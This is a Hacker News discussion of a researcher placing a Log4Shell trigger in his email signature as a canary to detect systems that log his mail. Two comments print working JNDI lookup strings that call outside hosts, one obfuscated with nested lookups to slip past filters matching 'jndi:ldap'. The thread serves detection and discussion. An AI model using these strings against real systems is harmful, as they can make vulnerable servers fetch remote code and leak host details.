"Log4j trigger in my signature so I can see logging copies of my mail"(twitter.com)

67 pointsby eatonphilvor 5 Jahren7 comments

"Log4j trigger in my signature so I can see logging copies of my mail"

https://twitter.com/moyix/status/1471714222358814721

7 comments

_null_vor 5 Jahren

Lots of mail gateways / mail security appliances do DNS lookups of URLs in the message body in order to check domain reputation and filter phishing links. It looks like he's using a DNS canary token which would be triggered by those as well.

moyixvor 5 Jahren

Yep, see later in the thread for how I'm avoiding that now; basically it uses a second level of interpolation so that it will only expand to the token when log4j is expanding it:

    ${jndi:ldap://${::-t}${::-o}${::-k}${::-e}${::-n}/a}

I stole this trick from my Apache logs; people are using it to bypass dumb filters that just trigger on "jndi:ldap".

camtarnvor 5 Jahren

The fact this apparently triggers an error in Reddit is freaking hilarious.

lights0123vor 5 Jahren

Many WAFs now block HTTP requests that will exploit it. Cloudflare (not what Reddit uses) does it for all customers automatically, for example.

xg15vor 5 Jahren

I was going to write that this will likely not find much - because, even if someone was scanning your email, who would be stupid enough to log the complete body - but... nevermind...

smbvvor 5 Jahren

Seems like the author is using CanaryToken. I wonder if I can use it to set up a canary email to improve my spam blocklists...

https://www.canarytokens.org

anotherevanvor 5 Jahren

It looks like canarytokens has explicitly added generating log4shell tokens to their drop-down. E.g.:

    ${jndi:ldap://x${hostName}.L4J.qtwtesuzkqtu5wpklv4f2p2b2.canarytokens.com/a}